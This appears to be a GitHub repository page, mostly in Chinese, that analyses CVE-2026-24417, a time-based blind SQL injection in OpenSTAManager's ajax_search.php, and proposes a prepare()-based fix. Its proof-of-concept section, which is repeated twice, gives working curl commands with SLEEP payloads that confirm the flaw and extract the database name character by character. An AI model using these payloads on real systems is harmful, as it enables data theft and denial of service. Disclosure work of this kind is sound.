lukasz-rybak/CVE-2026-24417
GitHub: lukasz-rybak/CVE-2026-24417
这是一个针对 OpenSTAManager 的 CVE-2026-24417 漏洞分析与复现项目,展示了通过全局搜索参数触发增强型拒绝服务及时间盲注攻击的原理。
Stars: 0 | Forks: 0
# CVE-2026-24417: OpenSTAManager 存在增强型拒绝服务的时间盲注 SQL 注入
## 概述
| 字段 | 详情 |
|---|---|
| **CVE ID** | [CVE-2026-24417](https://nvd.nist.gov/vuln/detail/CVE-2026-24417) |
| **严重性** | HIGH |
| **公告** | [查看公告](https://github.com/devcode-it/openstamanager/security/advisories/GHSA-4hc4-8599-xh2h) |
| **发现者** | [Lukasz Rybak](https://github.com/lukasz-rybak) |
## 受影响产品
- **devcode-it/openstamanager** (版本: < 2.9.8)
## CWE 分类
- CWE-89: SQL 命令中使用的特殊元素的 improper 中和化 ('SQL Injection')
## 详情
### 摘要
影响 OpenSTAManager v2.9.8 中**多个搜索模块**的严重时间盲注 SQL 注入漏洞,允许经过身份验证的攻击者通过基于时间的布尔推断攻击,在 10 多个模块中通过**增强执行**提取敏感数据库内容,包括密码哈希、客户数据和财务记录。
**状态:** ✅ 已在实时实例 (v2.9.8) 上确认并测试
**易受攻击参数:** `term` (GET)
**受影响端点:** `/ajax_search.php`
**受影响模块:** Articoli, Ordini, DDT, Fatture, Preventivi, Anagrafiche, Impianti, Contratti, Automezzi, Interventi
### 详情
OpenSTAManager v2.9.8 在全局搜索功能中包含一个严重的时间盲注 SQL 注入漏洞。应用程序在多个特定于模块的搜索处理程序中的 SQL LIKE 子句中使用 `term` 参数之前,未能正确对其进行净化,从而允许攻击者注入任意 SQL 命令并通过基于时间的布尔推断提取敏感数据。
**漏洞链:**
1. **入口点:** `/ajax_search.php` (Line 30-31)
$term = get('term');
$term = str_replace('/', '\\/', $term);
`$term` 参数经过极少的净化(仅替换正斜杠)。
2. **分发:** `/src/AJAX.php::search()` (Line 159-161)
$files = self::find('ajax/search.php');
array_unshift($files, base_dir().'/ajax_search.php');
foreach ($files as $file) {
$module_results = self::getSearchResults($file, $term);
未经净化的 `$term` 被传递给所有特定于模块的搜索处理程序。
3. **执行:** `/src/AJAX.php::getSearchResults()` (Line 373)
require $file;
每个模块的 search.php 文件都被包含在内,且 `$term` 变量在作用域内。
4. **易受攻击的 SQL 查询:** 多个模块直接连接 `$term` 而不使用 `prepare()`
**所有受影响的文件(10 多个易受攻击实例):**
1. **`/modules/articoli/ajax/search.php` - Line 51** (主要示例)
foreach ($fields as $name => $value) {
$query .= ' OR '.$value.' LIKE "%'.$term.'%"';
}
$rs = $dbo->fetchArray($query);
**影响:** 未经 `prepare()` 的直接连接,允许完全 SQL 注入。
2. **`/modules/ordini/ajax/search.php` - Line 43, 47**
$query .= ' OR '.$value.' LIKE "%'.$term.'%"';
$query .= '... WHERE `mg_articoli`.`codice` LIKE "%'.$term.'%" OR `mg_articoli_lang`.`title` LIKE "%'.$term.'%"';
3. **`/modules/ddt/ajax/search.php` - Line 43, 47**
$query .= ' OR '.$value.' LIKE "%'.$term.'%"';
4. **`/modules/fatture/ajax/search.php` - Line 45, 49**
$query .= ' OR '.$value.' LIKE "%'.$term.'%"';
5. **`/modules/preventivi/ajax/search.php` - Line 45, 49**
$query .= ' OR '.$value.' LIKE "%'.$term.'%"';
6. **`/modules/anagrafiche/ajax/search.php` - Line 62, 107, 162**
$query .= ' OR '.$value.' LIKE "%'.$term.'%"';
7. **`/modules/impianti/ajax/search.php` - Line 46**
$query .= ' OR '.$value.' LIKE "%'.$term.'%"';
**已正确净化(不易受攻击):**
- `/modules/contratti/ajax/search.php` - 正确使用了 `prepare()`
- `/modules/automezzi/ajax/search.php` - 正确使用了 `prepare()`
**注意:** 该漏洞具有**增强执行**特性 - 单个恶意请求会在所有易受攻击的模块中同时触发 SQL 注入,导致基于时间的攻击在每个请求中执行 10 多次,倍增延迟,并导致在实时演示实例上观察到的 **504 Gateway Time-out** 错误。
### PoC
**步骤 1:登录**
```
curl -c /tmp/cookies.txt -X POST 'http://localhost:8081/index.php?op=login' \
-d 'username=admin&password=admin'
```
**步骤 2:验证漏洞(基于时间的 SLEEP)**
```
# 使用 SLEEP(1) 测试 - 由于放大执行,应耗时约 85 秒以上
time curl -s -b /tmp/cookies.txt \
'http://localhost:8081/ajax_search.php?term=%22%20AND%200%20OR%20SLEEP(1)%20OR%20%22'
# 结果: real 72.29s
# 使用 SLEEP(0) 测试 - 应该很快
time curl -s -b /tmp/cookies.txt \
'http://localhost:8081/ajax_search.php?term=%22%20AND%200%20OR%20SLEEP(0)%20OR%20%22'
# 结果: real 0.30s
```
**步骤 3:数据提取 - 数据库名称**
```
# 提取数据库名称的第一个字符(预期:'openstamanager' 中的 'o')
time curl -s -b /tmp/cookies.txt \
"http://localhost:8081/ajax_search.php?term=%22%20AND%20SUBSTRING(DATABASE(),1,1)=%27o%27%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(2)))a)%20OR%20%221%22=%221" \
> /dev/null
# 结果: real 170.32s
# 使用错误的字符 'x' 测试 - 应该很快
time curl -s -b /tmp/cookies.txt \
"http://localhost:8081/ajax_search.php?term=%22%20AND%20SUBSTRING(DATABASE(),1,1)=%27x%27%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(2)))a)%20OR%20%221%22=%221" \
> /dev/null
# 结果: real 0m0.30s
```
### 影响
**受影响用户:** 所有有权访问全局搜索功能的经过身份验证的用户。
- 完整的数据库泄露,包括客户 PII、财务记录、商业机密
- 提取密码哈希以进行离线破解
- 增强型基于时间的攻击每次请求消耗 85 倍的服务器资源
**建议修复:**
将所有直接 `$term` 连接替换为 `prepare()`:
**修复前(易受攻击):**
```
$query .= ' OR '.$value.' LIKE "%'.$term.'%"';
```
**修复后(已修复):**
```
$query .= ' OR '.$value.' LIKE '.prepare('%'.$term.'%');
```
**将此修复应用于所有受影响的文件:**
1. `/modules/articoli/ajax/search.php` - Line 51
2. `/modules/ordini/ajax/search.php` - Lines 43, 47, 79
3. `/modules/ddt/ajax/search.php` - Lines 43, 47, 83
4. `/modules/fatture/ajax/search.php` - Lines 45, 49, 85
5. `/modules/preventivi/ajax/search.php` - Lines 45, 49, 83
6. `/modules/anagrafiche/ajax/search.php` - Lines 62, 107, 162
7. `/modules/impianti/ajax/search.php` - Line 46
## 参考
- https://github.com/devcode-it/openstamanager/security/advisories/GHSA-4hc4-8599-xh2h
- https://nvd.nist.gov/vuln/detail/CVE-2026-24417
- https://github.com/advisories/GHSA-4hc4-8599-xh2h
## 免责声明
此 CVE 是按照协调漏洞披露实践负责任地披露的。此处提供的信息仅用于教育和防御目的。
### PoC
**步骤 1:登录**
```
curl -c /tmp/cookies.txt -X POST 'http://localhost:8081/index.php?op=login' \
-d 'username=admin&password=admin'
```
**步骤 2:验证漏洞(基于时间的 SLEEP)**
```
# 使用 SLEEP(1) 测试 - 由于放大执行,应耗时约 85 秒以上
time curl -s -b /tmp/cookies.txt \
'http://localhost:8081/ajax_search.php?term=%22%20AND%200%20OR%20SLEEP(1)%20OR%20%22'
# 结果: real 72.29s
# 使用 SLEEP(0) 测试 - 应该很快
time curl -s -b /tmp/cookies.txt \
'http://localhost:8081/ajax_search.php?term=%22%20AND%200%20OR%20SLEEP(0)%20OR%20%22'
# 结果: real 0.30s
```
**步骤 3:数据提取 - 数据库名称**
```
# 提取数据库名称的第一个字符(预期:'openstamanager' 中的 'o')
time curl -s -b /tmp/cookies.txt \
"http://localhost:8081/ajax_search.php?term=%22%20AND%20SUBSTRING(DATABASE(),1,1)=%27o%27%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(2)))a)%20OR%20%221%22=%221" \
> /dev/null
# 结果: real 170.32s
# 使用错误的字符 'x' 测试 - 应该很快
time curl -s -b /tmp/cookies.txt \
"http://localhost:8081/ajax_search.php?term=%22%20AND%20SUBSTRING(DATABASE(),1,1)=%27x%27%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(2)))a)%20OR%20%221%22=%221" \
> /dev/null
# 结果: real 0m0.30s
```
### 影响
**受影响用户:** 所有有权访问全局搜索功能的经过身份验证的用户。
- 完整的数据库泄露,包括客户 PII、财务记录、商业机密
- 提取密码哈希以进行离线破解
- 增强型基于时间的攻击每次请求消耗 85 倍的服务器资源
**建议修复:**
将所有直接 `$term` 连接替换为 `prepare()`:
**修复前(易受攻击):**
```
$query .= ' OR '.$value.' LIKE "%'.$term.'%"';
```
**修复后(已修复):**
```
$query .= ' OR '.$value.' LIKE '.prepare('%'.$term.'%');
```
**将此修复应用于所有受影响的文件:**
1. `/modules/articoli/ajax/search.php` - Line 51
2. `/modules/ordini/ajax/search.php` - Lines 43, 47, 79
3. `/modules/ddt/ajax/search.php` - Lines 43, 47, 83
4. `/modules/fatture/ajax/search.php` - Lines 45, 49, 85
5. `/modules/preventivi/ajax/search.php` - Lines 45, 49, 83
6. `/modules/anagrafiche/ajax/search.php` - Lines 62, 107, 162
7. `/modules/impianti/ajax/search.php` - Line 46
## 参考
- https://github.com/devcode-it/openstamanager/security/advisories/GHSA-4hc4-8599-xh2h
- https://nvd.nist.gov/vuln/detail/CVE-2026-24417
- https://github.com/advisories/GHSA-4hc4-8599-xh2h
## 免责声明
此 CVE 是按照协调漏洞披露实践负责任地披露的。此处提供的信息仅用于教育和防御目的。标签:CISA项目, CVE-2026-24417, DoS, OpenSTAManager, PHP漏洞, Web安全, 参数污染, 基于时间的盲注, 安全漏洞, 密码哈希, 拒绝服务, 漏洞分析, 演示模式, 盲注, 蓝队分析, 路径探测, 身份验证绕过, 高危漏洞